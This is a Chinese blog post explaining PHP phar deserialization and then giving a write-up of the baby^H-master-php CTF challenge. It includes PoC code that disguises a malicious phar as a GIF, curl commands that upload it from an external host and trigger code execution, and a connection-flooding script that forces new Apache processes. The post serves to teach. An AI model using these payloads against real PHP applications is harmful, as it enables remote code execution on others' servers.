phar反序列化

简介: 参考文献:https://xz.aliyun.com/t/2715https://www.jianshu.com/p/19e3ee990cb7phar原理:一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

参考文献:https://xz.aliyun.com/t/2715
https://www.jianshu.com/p/19e3ee990cb7

phar原理:

一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
ps:要将php.ini中的 phar.readonly选项设置为Off

一个例子

序列化

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='sheng';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

img_d1842d50bb3023f119161f753310831f.png

反序列化

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;
    }
}
include('phar://phar.phar');
?>
img_b710b2b0ff52167604cceafddd6249e2.png

将phar伪造成其他格式的文件

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   #设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  #添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'sheng';
    $phar -> setMetadata($object); #将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>
img_acb9d62686e28aac518f23b390cab614.png

一道相关的ctf(orange大佬的baby^h-master-php-2017)

源码

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
    public $avatar;
    function __construct($path) {
          $this->avatar = $path;
    }
}
class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){ #判空
        die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {#判断data加密之后和hmac签名是否对应
        die("Bye Bye");
    }
    $data = unserialize($data); #反序列化
    if (!isset($data->avatar)){ #如果反序列化之后的data包含的类中无avatar成员,退出
        die("Bye Bye Bye");
    }
     return $data->avatar;
}
function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }
    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}
function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
        $path = "/var/www/html";
    }
    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中
} else if ($mode == "show") {
    show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif
} else {
    highlight_file(__FILE__);
}

思路

  • flag在admin类里,如果能够反序列化就能触发析构函数获取flag

解题过程

  • 上传一个phar文件,之后使用phar解析,反序列化之后从而进入Admin类中的__destruct方法.
    avatar.gif的poc
<?php
class Admin {
    public $avatar = 'orz';  
} 
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = 'idlefire';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>
  • 将生成好的avatar.gif上传,之后会出现另一个难点.
    $FLAG = create_function("", 'die(/read_flag);');

$FLAG是通过create_function创建的,并且没有函数名。但这个匿名函数是有名字的,格式是\x00lambda_%d。其中%d会从1一直进行递增,表示这是当前进程中第几个匿名函数。因此如果开启一个新的php进程,那么这个匿名函数就是\x00lambda_1,所以通过向Pre-fork模式的apache服务器发送大量请求,致使apache开启新的进程来处理请求,那么luck=%00lambda_1就可以执行函数了.

$ curl http://127.0.0.1/baby.php --cookie-jar cookie
$ curl -b cookie 'http://127.0.0.1/baby.php/?m=upload&url=http://xxx.xxx.xxx.xxx/avatar.gif'
$ python fork.py &
$ curl -b cookie "http://127.0.0.1/baby.php/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

fork.py

# coding: UTF-8
# Author: orange@chroot.org

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass
def run(i):
    while 1:
        HOST = 'x.x.x.x'
        PORT = 80
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: xxxxx\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
目录
相关文章
|
1月前
|
缓存 安全 PHP
PHP中的魔术方法与对象序列化
本文将深入探讨PHP中的魔术方法,特别是与对象序列化和反序列化相关的__sleep()和__wakeup()方法。通过实例解析,帮助读者理解如何在实际应用中有效利用这些魔术方法,提高开发效率和代码质量。
|
6月前
|
安全 PHP
PHP反序列化--_wakeup()绕过
PHP反序列化--_wakeup()绕过
|
6月前
|
PHP
PHP反序列化--引用
PHP反序列化--引用
|
数据采集 存储 JSON
【一文读不懂Jsoncpp】3.序列化和反序列化
【一文读不懂Jsoncpp】3.序列化和反序列化
191 0
|
11月前
|
存储 SQL Java
反序列化及PHP魔法函数
反序列化及PHP魔法函数
91 0
反序列化及PHP魔法函数
|
11月前
|
PHP
unserialize3(php序列化、反序列化及绕过)
unserialize3(php序列化、反序列化及绕过)
145 0
|
XML 安全 算法
php 序列化与反序列化
php 序列化与反序列化
|
存储
反序列化学习-php-1
反序列化学习-php-1
57 0
|
存储 安全 PHP
【反序列化漏洞】phar反序列化原理&实例分析
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。
299 0